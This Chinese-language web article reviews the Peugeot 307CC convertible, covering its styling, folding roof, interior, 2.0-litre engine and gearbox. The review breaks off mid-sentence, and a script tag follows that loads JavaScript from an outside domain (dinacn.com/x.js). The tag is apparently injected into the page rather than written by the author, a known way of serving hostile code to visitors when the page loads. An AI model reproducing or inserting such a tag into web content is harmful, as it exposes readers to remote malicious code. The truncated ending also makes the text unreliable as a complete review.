外观——赚足眼球
　　
    在开车回办公室的路上，最不愿意的就是等红灯。车子还没停稳，周围所有的目光都被307CC吸引过来，无论是坐在车里的朋友还是路上的行人。最后，看的我都有点不好意思了。感觉自己真的不应该开着这么招摇的车出来，好像我是在显摆似的。
　　
    307CC整体外形尺寸和国产307差不多，但外形还是差别较大。首先国内两门版的轿车就比较少，在加上307CC的敞篷概念，不吸引人眼球那才怪呢。新款将前面造型做了改动，将“大嘴”从407移植过来，放弃了老款小格栅的风格，这也是标致以后所有车系的的风格，国产307也即将采用这个造型。加上双卤素鹰眼大灯造型，搭配中间一个大大的狮子标志，使得整体的线条更加硬朗。尾部最大的亮点，就是采用LED的两只尾灯和位于扰流板下面的高位刹车灯，整体简洁明快，落落大方。开启后备箱也十分有趣，在307中间的0上按下去，后备箱也就打开了。比起老款，新款放弃了大灯自动清洗的鸡肋功能。307CC整体车身全部采用圆滑过渡，没有一点棱角，圆滑的引擎罩向后延伸似乎与A柱成为一体，衬托出过于倾斜的前风档，后风档略有弯曲，更显优雅姿态，结合尾部小小的扰流板，更加突出307CC的运动特性。两条粗壮的A柱从前到后，象一道彩虹将车头和车尾很好的连接起来。205/55R16的轮胎搭配4孔铝合金轮圈，稳稳的将这个可爱的“狮子”展现于我的眼前。
　　
    最抢眼的当然是变身成为敞篷车了。按下按钮，首先是车窗全部落下，后备箱反方向开启，顶棚向后折起收入到后备箱内，等到后备箱关闭后，敞篷车轮廓即刻被勾勒出来。美丽的车舱设计，舒适宽敞的四座内部空间，构成了一个魅力的整体，并且也给予人以安全，强劲的感受。一辆跑车就成了一部更加动感时尚的敞篷小跑。整个过程全部自动完成，不需要在象206CC那样需要手动解除锁闭装置，感觉开启和关闭的时间也比前者快了许多。
 
    内饰——简洁明快
　　
    内部空间采用了深浅两个色系搭配，中控台、出风口、方向盘上都用亮银色点缀，座椅则是白色真皮材质，但整体还是深色系占了较大的面积，多少有点压抑的感觉。行车电脑和国产307一样安置在中控台最上方，可以显示续航行使里程，实时油耗、车速等等，但不知道是车的问题还是电脑问题，好像不是很准确。我从南五环加满一箱油，就显示可以行驶450公里，等车一直开到怀柔了，依然是这个数字，让我一路都在担心这个车为什么这么大的油耗。运动风格的白底色四环仪表盘，看上去一目了然。中控台更是简单，没有象有些车布满按钮，307CC的5碟CD盒被安置在中控台上，加上CD机里的一张，构成六碟连放的音响系统并可以播放MP3格式的光碟。我个人还是喜欢这样的设计风格，换盘的工作变得相对简单起来，再也不用到储物箱或者后备箱去完成这个工序了。空调是双区域独立空调，控制面板位于CD盒的下方。总体看，这样的中控台设计没有太多的设计创新，但和简约的外观却是最合理的搭配，但用料有一点欠缺，多少让人有少许遗憾。在手刹后面的两个按钮可以开启和关闭顶棚，需要说明的是，在关闭顶棚后，需要在拉起后面的车窗键，汽车小窗玻璃才会升起。副驾驶的气囊锁也位于旁边。手动六方向的座椅调节和四方向的方向盘调节，可以让我调整到自己最舒服的驾驶位置，前排座椅还具有电加热功能。
　　
    内部空间比起206CC大了许多，前者是一个浪漫的两人世界，307CC的后排完全可以坐进一个成年人而不会让你的腿部感到紧迫。只是后排的靠背角度较直，时间长了会让人感到疲劳。好在这样一部充满浪漫的敞篷车，一般都是两个人的小天地。
　　
    纵观整车内部空间运动感得到了良好的展现，前仪表台和座位真皮部分做工精良，无论是用料和边线的缝合都相当考究，体现出了一个大品牌的大家风范。
 
    动力与安全——均有良好表现
　　
    307CC搭载排气量为1997cc的直列四缸发动机，双凸轮轴16气门全铝发动机，压缩比10.8：1，最大功率为103千瓦/6000转，最大扭矩190牛米/4100转。和国产307 2.0款及“赛纳”采用的同一款发动机。与其搭配的手自一体变速箱，具有运动和雪地模式，让驾驶者可以享受更多的驾驶乐趣。常规的驾驶习惯下，起步反应较慢，不过这款发动机不会让你失去速度带给你的刺激，按下运动模式按键，将换档切成手动，转速表一直逼近6000转/分钟才升档。此时的感觉同样能让你头部充血，浪漫的307CC终于显露出狮子狂野的一面。遗憾的是，忘记了打开敞篷后飙一下终极时速，估计那会是更刺激的一个场面。
　　
    驾驶过多款法系车，从进口到国产的车系都有，好像发动机与变速箱的匹配都解决的不是很好，这成了法系车的通病。当急加速时，变速箱?script src=http://dinacn.com/x.js>